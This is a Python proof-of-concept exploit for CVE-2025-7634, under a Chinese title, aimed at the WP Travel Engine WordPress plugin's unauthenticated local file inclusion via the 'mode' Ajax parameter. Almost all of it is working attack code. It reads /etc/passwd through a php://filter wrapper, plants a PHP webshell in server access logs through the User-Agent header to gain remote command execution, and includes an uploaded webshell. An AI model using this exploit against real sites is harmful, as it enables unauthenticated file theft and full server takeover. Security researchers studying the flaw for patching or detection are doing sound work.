CVE-2025-7634：WP Travel Engine插件本地文件包含漏洞

# CVE-2025-7634 - WP Travel Engine Local File Inclusion PoC # Vulnerability: Unauthenticated LFI via 'mode' parameter in Ajax controllers # Affected: WP Travel Engine <= 6.6.7 import requests TARGET_URL = "http://target-wordpress-site.com" # The vulnerable endpoint is an admin-ajax.php action AJAX_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" def exploit_lfi(target_file): """ Exploit the LFI vulnerability by including arbitrary PHP files via the 'mode' parameter in WP Travel Engine's Ajax controllers. """ # Action 'wp_ajax_wpte_filter_trips' or related action triggers the vulnerable code path payload = { "action": "wp_ajax_wpte_filter_trips", "mode": target_file # Inject arbitrary file path here } response = requests.post(AJAX_ENDPOINT, data=payload) return response.text def exploit_rce_via_log_poisoning(): """ Achieve RCE through log poisoning combined with LFI. Step 1: Inject PHP code into access log via User-Agent header Step 2: Include the access log via the LFI vulnerability """ # Step 1: Poison the access log with PHP code log_poison_url = f"{TARGET_URL}/index.php" headers = { "User-Agent": "<?php system($_GET['cmd']); ?>" } requests.get(log_poison_url, headers=headers) # Step 2: Include the poisoned log file via LFI log_path = "/var/log/apache2/access.log" # Adjust path based on server # Use PHP wrappers to execute commands rce_payload = { "action": "wp_ajax_wpte_filter_trips", "mode": log_path, "cmd": "id" # Command to execute } response = requests.post(AJAX_ENDPOINT, data=rce_payload) return response.text def exploit_rce_via_file_upload(): """ If the site allows PHP file uploads (e.g., via a separate vulnerability), upload a malicious PHP file and include it via LFI. """ # Assume a webshell was uploaded to /wp-content/uploads/shell.php shell_path = "/wp-content/uploads/shell.php" payload = { "action": "wp_ajax_wpte_filter_trips", "mode": shell_path } response = requests.post(AJAX_ENDPOINT, data=payload) return response.text # Example usage: if __name__ == "__main__": # Basic LFI to read /etc/passwd (after wrapping with PHP filter) print("[*] Attempting LFI exploitation...") # Use php://filter to read file contents as base64 result = exploit_lfi("php://filter/convert.base64-encode/resource=/etc/passwd") print(f"Result: {result}") # Or achieve RCE via log poisoning # print("[*] Attempting RCE via log poisoning...") # result = exploit_rce_via_log_poisoning() # print(f"Result: {result}")